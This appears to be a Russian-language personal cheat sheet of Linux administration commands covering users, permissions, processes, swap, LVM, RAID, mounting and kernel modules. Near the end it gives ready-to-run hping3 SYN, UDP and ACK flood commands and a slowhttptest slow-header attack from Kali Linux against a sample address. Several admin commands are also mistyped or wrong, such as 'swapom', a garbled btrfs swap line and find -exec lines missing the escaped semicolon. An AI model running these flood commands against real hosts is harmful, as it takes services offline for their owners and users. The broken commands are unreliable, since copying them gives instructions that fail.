🔹 curl: Не просто инструмент для работы с веб-серверами, но и мощное средство для отправки и чтения почты по IMAP. 🔹 systemctl: Управление службами, работа с таймерами и просмотр информации о системе становятся проще. 🔹 find: От общих примеров до очистки старых файлов и поиска дубликатов файлов. 🔹 lsof: Исследование файлов и сетевых соединений, открытых на сервере. 🔹 grep: Мощный поиск строк и шаблонов в текстах. 🔹 cat: Использование cat как текстового редактора. 🔹 type: Возвращает тип введенной в оболочку команды. 🔹 touch: Обновление информации о времени доступа (atime) и изменения (mtime) файла. 🔹 hash: Просмотр кэша путей к исполняемым файлам. 🔹 auditctl: Аудит доступа к файлам. 🔹 history: Просмотр истории введенных в консоль команд. 🔹 at: Планировщик разовых заданий. 🔹 ps: Вывод списка процессов с подробностями. 🔹 dig: Запросы к DNS-серверам. 🔹 nc: Установка сетевых соединений и передача по ним информации. 🔹 screen: Защита терминальных сессий от разрыва соединения. 🔹 cut: Работа с текстовыми строками. 🔹 w: Информация об uptime, подключенных пользователях и нагрузке на систему. 🔹 less: Постраничный вывод информации в консоль. 🔹 truncate: Усечение текстовых файлов (логов). 🔹 split: Разделение файлов на части. 🔹 units: Конвертация единиц измерения. 🔹 chsh: Замена оболочки пользователя. 🔹 fc: Утилита из состава оболочки bash для работы с историей команд. 🔹 socat: Создание потоков для передачи данных, прямой доступ к shell. 🔹 lsmem и chmem: Информация об оперативной памяти, управление объемом использования. 🔹 column: Выводит данные других команд в табличном виде. 🔹 vmstat: Информация по использованию оперативной памяти, CPU и дисках. 🔹 findmnt: Информация о точках монтирования. 🔹 sed: Автоматическая замена текста в файлах. 🔹 date: Вывод информации о дате и времени в различных форматах. 🔹 basename: Показывает только имя файла из полного пути. 🔹 lsblk: Информация об устройствах хранения.
-
Ctrl + Alt + T Запуск терпинала
-
Сtrl + C Остановить выполнение текущей команды:
-
Ctrl + L (или команда clear) Очистить экран
-
Ctrl + D (команда exit) Выход из консоли
-
history История команд
-
Сtrl + R
-
Показать имя текущего пользователя: whoami
-
Вывести подробную информацию о пользователе username: id username
-
Переключиться на другого пользователя можно с помощью команды su -
-
Можно также получить доступ к командной строке пользователя root: sudo -i
-
sudo useradd test1+ или
-
adduser stash , тогда сразу создаст пароль, домашную папку и нужно буде задать дополнительную информацию.
-
Проверьте создание домашнего каталога и группы id test1 sudo ls -a /home/test1/
-
Установка пароля для нового пользователя sudo passwd test1
-
Просмотр новой учетной записи в файле /etc/passwd: grep 'test1' /etc/passwd
-
Создание пользователя с личной группой и домашним каталогом: sudo useradd -mU test2 /-m создает домашний каталог, -U создает личную группу
-
Добавление пользователя в дополнительные группы sudo useradd -G group1,group2,group3 test1
-
Добавление комментария к учетной записи useradd -G group1,group2,group3 -c 'Test 1,,,,' test1 /Запятые разделяют поля GECOS: имя, номер кабинета, рабочий телефон, домашний телефон и прочее.
-
Добавление пользователя в группу: sudo usermod -aG musicians duchess /Эта команда добавит пользователя duchess в группу musicians sudo usermod -aG musicians,composers,stagehands duchess /Добавление пользователя в несколько групп
-
Создание системного пользователя sudo adduser --system --no-create-home --group service1
-
Создание пользовательской группы sudo addgroup composers
-Создание системной группы sudo addgroup --system service1
-
Удаление группы sudo delgroup musicians
-
Удаление только пустых групп sudo delgroup --only-if-empty musicians
-
Деактивация учетной записи с помощью passwd: sudo passwd -l user
-Разблокировка учетной записи sudo passwd -u user
-
Полное отключение учетной записи: sudo usermod --expiredate 1 user
-
Восстановление учетной записи: sudo usermod --expiredate -1 stash
-
Удаление пользователя: userdel user
-
Удаление пользователя и его домашнего каталога: sudo userdel -r stash
-
Удаление пользователя и связанные с ними данные. sudo deluser user /Эта команда удалит пользователя stash из /etc/passwd, его основной группы и из всех дополнительных групп в теневых файлах
-
Удаление домашнего каталога и создание резервной копии: sudo deluser --remove-all-files --backup user
-
Указание каталога для резервной копии sudo deluser --remove-all-files --backup-to /user-backups user
-Поиск файлов по UID: sudo find / -uid 1007
- Сужение круга поиска: sudo find /etc -uid 1007
-Поиск файлов по GID или имени пользователя/группы: sudo find / -gid 1007 sudo find / -name duchess sudo find / -group duchess
-Смена владельца найденных файлов: sudo find /backups -uid 1007 -exec chown -v 1010 {} ; /Эта команда изменит владельца файлов на пользователя с UID 1010.
-Копирование найденных файлов: find / -uid 1007 -exec cp -v {} /orphans ;
-Используйте -r для сохранения структуры каталогов: sudo find / -uid 1007 -exec cp -rv {} /orphans ;
-Удаление оригинальных файлов после копирования: sudo find / -uid 1007 -exec rm -v {} ;
-Добавьте -r для удаления опустевших каталогов: sudo find / -uid 1007 -exec rm -rv {} ;
- Перемещение файлов: sudo find / -uid 1007 -exec mv {} /orphans ;
-Поиск файлов без владельца: find / -nouser find / -nogroup
Создание:
- mkdir path1 ... Удаление:
- rm [-r][-f] path1 ... ● -r — рекурсивно (т. е. все вложенные файлы и каталоги) ● -f — без подтверждения
- rmdir [-p] path1 ... — удаляет только пустые каталоги -p (parents) — удаляет или создает дерево каталогов -i будет спрашивать подтверждение действие
Копирование файла: cp <исходный_путь> <конечный_путь>
Копирование каталога со всем его содержимым (рекурсивно): cp -r <исходный_путь> <конечный_путь>
Переименование/перемещение: mv <исходный_путь> <конечный_путь>
! Важно: <конечный_путь> может быть каталогом, а <исходный_путь> может быть несколько
- du
- du -s
- du
chmod +x /если без атрибутув то для всех,
- u для пользователя
- g для группы
- o других
- ps -a Утилита ps позволяет просмотреть запущенные процессы:
- ps x — процессы, запущенные текущим пользователем
- ps ax — все процессы в системе
- ps u — детализированный вывод
- ps aux | grep bash — найти подстроку bash среди списка всех запущенных процессов
- top / Утилита для просмотра процессов
- htop / дополнительная утилита для просмотра процессов
ps aux | grep root — показать все процессы 0пользователя root ps aux | grep root | wc -l — подсчитать количество таких процессов
- ps m — просмотр потоков:
- ps -eLf — просмотр потоков:
Статус процесса ps ● -e, -A — все процессы ● -t — только процессы этой консоли ● -N — инверсия (ps -N -t — все процессы, кроме этой консоли) ● -p , — просмотр процессов с заданным PID ● -С <строка> — просмотр процессов c заданной командой ● -U — просмотр процессов заданного пользователя ● -G — просмотр процессов заданной группы
- sudo apt install sysstat
● top — отображает потребление ресурсов процессами в реальном времени и другую информацию ● free — утилита для отображения состояния памяти ● cat /proc/meminfo — раздел файловой системы /proc с текущей информацией о состоянии памяти в операционной системе
kill kill kill -<имя_сигнала> kill -s <имя_сигнала> ● KILL — завершает процесс на уровне ядра, не блокируется ● INT — запрос на завершение текущей операции (Ctrl + C) ● TERM — запрос на завершение программы
kill -l /список сигналов killall nano sudo pkill -u user2
№ Каталог /proc cat /proc/cpuinfo — информация о CPU cat /proc/version — версия Linux cat /proc/stat — системная статистика
● cgroup — группа управления процесса ● fd — дескрипторы открытых файлов ● cmdline — командная строка ● environ — переменные окружения ● stat — информация о состоянии процесса (ps) ● statm — информация об использовании памяти ● root — ссылка на корневой каталог процесса
sudo strace -p 3359 sudo strace -p 3359 -P /home/user/ sudo strace -p 3359 -e trace=file
- Просмотр каталога: ls
- Просмотр атрибутов файлов: ls -l
- Просмотр всех файлов, включая скрытые: ls -a Опции можно комбинировать: ● просмотр атрибутов директории, а не её содержимого: ls -ld ● просмотр с отображением человекочитаемого размера: ls -lh
- Подсветка типо файлов ls --color=auto
chmod опции права /путь/к/файлу
r - чтение; w - запись; x - выполнение; s - выполнение от имени суперпользователя (дополнительный);
u - владелец файла; g - группа файла; o - все остальные пользователи;
В качестве действий могут использоваться знаки "+" - включить или "-" - отключить. Рассмотрим несколько примеров:
u+x - разрешить выполнение для владельца; ugo+x - разрешить выполнение для всех; ug+w - разрешить запись для владельца и группы; o-x - запретить выполнение для остальных пользователей; ugo+rwx - разрешить все для всех;
Второй вариант 0 - никаких прав; 1 - только выполнение; 2 - только запись; 3 - выполнение и запись; 4 - только чтение; 5 - чтение и выполнение; 6 - чтение и запись; 7 - чтение запись и выполнение. Права на папку linux такие же, как и для файла. Во время установки прав сначала укажите цифру прав для владельца, затем для группы, а потом для остальных
-c - выводить информацию обо всех изменениях; -f - не выводить сообщения об ошибках; -v - выводить максимум информации; --preserve-root - не выполнять рекурсивные операции для корня "/"; --reference - взять маску прав из указанного файла; -R - включить поддержку рекурсии; --version - вывести версию утилиты;
chown пользователь опции /путь/к/файлу В поле пользователь надо указать пользователя, которому мы хотим передать файл. Также можно указать через двоеточие группу, например, пользователь:группа Опции: -c, --changes - подробный вывод всех выполняемых изменений; -f, --silent, --quiet - минимум информации, скрыть сообщения об ошибках; --dereference - изменять права для файла к которому ведет символическая ссылка вместо самой ссылки (поведение по умолчанию); -h, --no-dereference - изменять права символических ссылок и не трогать файлы, к которым они ведут; --from - изменять пользователя только для тех файлов, владельцем которых является указанный пользователь и группа; -R, --recursive - рекурсивная обработка всех подкаталогов; -H - если передана символическая ссылка на директорию - перейти по ней; -L - переходить по всем символическим ссылкам на директории; -P - не переходить по символическим ссылкам на директории (по умолчанию).
Навигация: ● j — вниз, k — наверх ● q — выход ● / — поиск, n — следующее совпадение, q — выход
Наиболее популярные опции:
-a, --search-skip-screen — не осуществлять поиск в тексте, который в данный момент отображен на экране; -bn, --buffers=n — задать размер буфера памяти; -c, --clear-screen — листать текст, полностью стирая содержимое экрана (построчная прокрутка работать не будет); -Dxcolor, --color=xcolor — задать цвет отображаемого текста; -E, --QUIT-AT-EOF — выйти, когда утилита достигнет конца файла; -e, --quit-at-eof — выйти, когда утилита второй раз достигнет конца файла; -F, --quit-if-one-screen — выйти, если содержимое файла помещается на одном экране; -f, --force — открыть специальный файл; -hn, --max-back-scroll=n — задать максимальное количество строк для прокрутки назад; -yn, --max-forw-scroll=n — задать максимальное количество строк для прокрутки вперёд; -i, --ignore-case — игнорировать регистр; -I, --IGNORE-CASE — игнорировать регистр, даже если паттерн для поиска содержит заглавные буквы; -jn, --jump-target=n — указать, в какой строке должна быть выведена искомая информация; -J, --status-column — пометить строки, соответствующие результатам поиска; -n, --line-numbers — не выводить номера строк; -N, --LINE-NUMBERS — вывести номера строк; -s, --squeeze-blank-lines — заменить множество идущих подряд пустых строк одной пустой строкой; -w, --hilite-unread — выделить первую строку нового фрагмента текста. Во время просмотра текста утилитой можно управлять при помощи внутренних команд, набирая их на клавиатуре компьютера. Наиболее часто используемые из них:
h, H — справка; Space, Ctrl+V, f, Ctrl+F — прокрутить текст на один экран вперёд; Enter, Return, Ctrl+N, e, Ctrl+E, j, Ctrl+J — прокрутить текст на n строк вперед, по умолчанию n=1; y, Ctrl+Y, Ctrl+P, k, Ctrl+K — прокрутить текст на n строк назад, по умолчанию n=1; Ctrl+→ — прокрутить текст по горизонтали в конец строки; Ctrl+← — прокрутить текст по горизонтали в начало строки; :d — удалить текущий файл из списка файлов; Ctrl+G, :f — вывести основную информацию о файле; q, Q, :q, :Q, ZZ — выход.
- sysctl -a | grep dirty — найти в настройках Linux параметры, которые используются при кешировании («грязные» страницы).
В файле /etc/sysctl.conf: ● vm.dirty_background_ratio = 10 — процент от памяти, которая может быть использована для хранения кеша перед записью на диск в фоновом режиме ● vm.dirty_ratio = 15 — максимум памяти, который может быть выделен под кеш до записи на диск. При достижении этого значения ввод/вывод блокируется до освобождения кеша ● vm.dirty_expire_centisecs = 3000 — время нахождения «грязных» страниц в кеше
● sync — команда заставляет Linux записать все кешированные данные на диск ● echo 1 > /proc/sys/vm/drop_caches — очистка кеша PageCache ● echo 2 > /proc/sys/vm/drop_caches — очистка inode и dentrie ● echo 3 > /proc/sys/vm/drop_caches — очистка inode, dentrie и PageCache
● swapon -s; grep Swap /proc/meminfo; free -h — показывают использование файла подкачки ● mkswap /swapfile — размечает файл /swapfile как файловую систему SWAP ● swapoff\swapon /swapfile — отключение/подключение файла подкачки в систему ● cat /etc/fstab — выводит список устройств для монтирования. Можно приписать SWAP-раздел
- fallocate -l 2G /swapfile / создарие swap файла
- chmod 600 swapfile / делаем его оступным только root
- mkswap swapfile / сообщаем системе, что это swap
- swapom /swapfile
для BTRFS систем всё одной строкой
-
btrfs systemfilemmkswapfile --size 2G / swapfile swapom /swapfile
-
swapon -s / посмотреть соданный swap
-
swapoff swapfile / отключение swap
Для постоянной работы необходимо прписать его в файле /ets/fstab /swapfile none swap sw 0 0
Сначала создаем директорию
- sudo mkdir /mytmpfs Потом монтируем
- sudo mount -t tmpfs -o size=1000M tmpfs /mytmpfs
-df -h /просмотр файлов монтирования
taskset С помощью утилиты taskset можно задавать, на каких процессорахбудет исполняться программа, или менять по PID:
taskset [options] mask command [argument...] taskset [options] -p [mask] pid
● nice -n {приоритет} {программа} {аргументы} ● sudo nice -n — если приоритет меньше 0 ● renice -n {приоритет} PID — для уже запущенного процесса ● renice -n -g -u — для запущенной группы процессов, для пользователя ● ps ax -o pid,ni,cmd — чтобы посмотреть nice запущенных процессов
● Вывести строку text на экран: echo text
echo $USER вывод переменной пользователь
● Вывести содержимое файла filename: cat filename
● Постраничный просмотр файла filename: less filename
● Редактировать файл filename в терминале: nano filename
● Редактировать файл filename в GUI: gedit filename
● Показать последние 10 строк файла filename: tail filename
● Показать первые 10 строк файла filename: head filename
● Поиск подстроки строка в файле filename: grep строка filename
- vimtutor для запуска справки и тренеровки
- sudo apt install имя пакета / установка проводиться от имени root
- sudo apt remove имя пакета / удаление
- sudo apt autoremove / удаление зависимостей
- apt search имя пакета / посик по пакетам
- apt show имя пакета /информация о пакете
- sudo apt update / скачивание обновлений
- sudo apt upgrade / обновление пакетов
Потоки ввода-вывода: ● stdin — стандартный поток ввода ● stdout — стандартный поток вывода ● stderr — стандартный поток ошибок
sort < file.txt перенаправит файл file.txt в stdin команды sort ls > file.txt перенаправит stdout команды ls в файл file.txt ls 2> file.txt перенаправит stderr команды ls в файл file.txt
допишет в файл новые строки, в то время как > перезапишет его ls | sort отправит stdout команды ls в stdin команды sort
find /etc 1> etc_files (скопировать списко найденных файлов в файл) 2> etc_errors (скопировать список файлов ошибок)
- через карвычки " " или ' '
- Поставить обратный слэш \ \
- ip address show
- ip route show
- nmcli
- nmtui / для настройки сети
● cat /proc/devices – отображает список устройств, опознанных ядром ● ls -la /dev/disks/by-* – выводит информацию о дисках, подключенных к системе ● ls -la /dev – каталог специального назначения, который содержит файлы устройств. ● lsblk – list block devices ● lshw -short -C disk, hdparm -I /dev/sda, smartctl --all /dev/nvme0 – утилиты, которые отображают информацию об имеющихся дисках с точки зрения железа
● /dev/mapper/vgdata-lvdata — ссылки на устройства, созданные device mapper ● /dev/dm-0, /dev/dm-1 — устройства, которые создаются device mapper ● /dev/vgdata/lvdata — ссылки на устройства, созданные device mapper ● dmsetup ls — отображает список устройств, созданных с помощью device mapper
● lsblk — утилита выводит список блочных устройств с информацией о них ● blkid — утилита отображает информацию об уникальных идентификаторах блочных устройств ● fdisk — утилита позволяет управлять разделами с разметкой MBR.
-
sudo fdisk /dev/sdb ● gdisk — утилита позволяет управлять разделами с разметкой GPT ● parted — утилита позволяет управлять разделами с разметкой MBR и GPT. В отличие от gdisk и fdisk изменения применяются сразу, не требуя подтверждения
-
print
-
mklabel gpt . создание раздела gpt
-
mkpart ● cat /proc/partitions — вывести список разделов
-
sudo wipefs --all --backup /dev/sdb /удаление всей информации в разделе
● sudo yum (apt-get) install mdadm — установка утилиты ● sudo mdadm --create /dev/md0 -l 1 -n 2 /dev/sd{b,c} — создание нового массива ● sudo mdadm /dev/md0 --fail /dev/sdb1 пометить как не работающий ● sudo mdadm /dev/md0 --remove /dev/sdb1 удалить диск ● sudo mdadm /dev/md0 --add /dev/sdd1 ● mdadm --stop /dev/md0 остановка массива до следующей перезагрузки ● mdadm --zero-superblock /dev/sdb1 /dev/sdd1 полнустью отключение массива ● cat /proc/mdstat — текущее состояние ● /etc/mdadm.conf — файл конфигурации
● pvcreate — позволяет создать физический том на жестком диске
- sudo pvcreate /dev/sdb /dev/sdc ● vgcreate — позволяет создать группу томов из физических томов
- sudo vgcreate my-group /dev/sdb /dev/sdc
- sudo vgdisplay
- sudo lvextend -l +1280 /dev/my-group/my-vol1
● lvcreate — позволяет создать логический том в группе томов
-
lvcreate -n my-vol1 -L 1G my-group
-
lvresize
-
lvremove
-
dmsetup ls
-
ls -l /dev/mapper/my--group-my-vol1 или -ls -l /dev/my-group/my-vol1 или -ls -l /dev/dm-0
● sudo pvs — позволяет отобразить информацию о физических томах
-
sudo pvscan ● sudo vgs — позволяет отобразить информацию о группах томов в ОС ● sudo lvs — позволяет отобразить информацию о логических томах
-
sudo mkfs.xfs /dev/my-group/my-vol1 / создание файловой системы XFS перед этим поставить xfsgroups
Сначала создаем дерикторию для монтирования
- mkdir /mnt/vol1
- mount -t xfs /dev/my-group/my-vol1 /mnt/vol1
дисковую подсистему ● top — выводит информацию о работающих в системе процессах и информацию о них ● iostat — мониторинг использования дисковых разделов ● iotop — аналогична утилите top, но вместо использования процесcами CPU и памяти показывает работу процессов с дисками ● vmstat 5 5 — утилита отображает информацию об использовании CPU, памяти, дисков ● sar -p -d 5 3 — утилита для отображения различных параметров (статистики) работы системы
● cat /proc/filesystems — вывести список файловых систем, которые поддерживаются ядром ● fsck — утилита, с помощью которой можно проверить ФС на ошибки ● file -s /dev/sda1 — выводит тип файловой системы ● df -T — выводит тип файловой системы
● stat — утилита позволяет просматривать состояние файла и даже файловой системы ● df -i — утилита выводит информацию о файловых системах, их размере, занятом и свободном пространстве и точках монтирования ● ls -i — утилита отображает список файлов в каталоге ● file -s /dev/sda3 — отобразить информацию о разделе
● mkfs.xfs /dev/sda1 — создаёт файловую систему ● xfs_info /dev/sda1 — выводит информацию про метаданные файловой системы ● xfs_growfs / -d — увеличивает файловую систему на всё доступное пространство ● xfs_check /dev/sdb1, xfs_repair /dev/sdb1 — проверяет файловую систему на ошибки
● mount -t ext4 -o noexec /dev/sdb6 /mnt — монтировать ФС ext4 без возможности запускать исполняемые файлы на разделе ● mount --uuid="b386d309-05c1-42c8-8364-8d37270b69e0" /mnt — смонтировать раздел, используя UUID ● mount --label="home" /mnt/ — монтировать раздел, используя лейбл ● mount — вывести список всех смонтированных устройств ● umount /mnt — отмонтировать раздел, смонтированный по указанному пути
- ln создание жестеой ссылки
- ln -s создание симводичесикой ссылки
● lsmod — информация обо всех загруженных модулях ● modinfo — просмотр информации о модуле ● modprobe — загрузка модуля ● insmod /lib/modules/.../.ko — загрузка модуля с помощью insmod ● rmmod — выгрузка модуля
● dkms add -m — добавление модуля в DKMS ● dkms status — проверка статуса модуля в DKMS ● dkms build -m -v — сборка модуля с помощью Dkms ● dkms install -m -v — установка модуля с помощью DKMS ● dkms autoinstall — сборка и установка всех модулей
sysctl -a cat /etc/sysctl.conf | more Просмотр конфигурационного файла: cat /etc/sysctl.conf | grep ipv4 Просмотр сетевых настроек IPv4: sudo sysctl net.ipv4.ip_forward=1 Включение пересылки пакетов (функций шлюза):
kali@kali:~$ sudo hping3 -c 10000 -d 150 -S -p 80 --flood --rand-source 192.168.0.2
-c — количество пакетов, -d — размер каждого пакета -p — номер порта, -S — установить SYN-флаг, –flood — посылать пакеты с максимально возможной скоростью. 192.168.0.2 — адрес атакуемого сервера
В дистрибутиве Kali Linux можно запустить UDP-flood атаку:
kali@kali:~$ sudo hping3 --flood --udp -p 80 -d 65500 192.168.0.2
В дистрибутиве Kali Linux можно запустить ACK-flood атаку:
kali@kali:~$ sudo hping3 --flood -A -p 80 -d 10000 192.168.0.2
В дистрибутиве Kali Linux можно запустить ACK-flood атаку:
kali@kali:~$ sudo hping3 --flood -c 10000 -s 1515 -p 1516 -S -a 192.168.0.2 192.168.0.2
- Рассмотрим процесс запуска Slow-атаки:
Установим Slowhttptest: kali@kali:~$ sudo apt install slowhttptest
Убедимся, что программа установлена корректно, для этого запустим справку: kali@kali:~$ slowhttptest -h
Запустим атаку: $ slowhttptest -c 50000 -H -r 1000 -t GET -u http://192.168.0.2:8000
-с — количество соединений, которое нужно установить, -H — атака с медленными заголовками, -r — количество соединений в секунду, -t — запрос, -u — URL цели.
- Выключение: systemctl poweroff — аналог устаревшего shutdown -P now
- Перезагрузка: systemctl reboot — аналог устаревшего shutdown -r now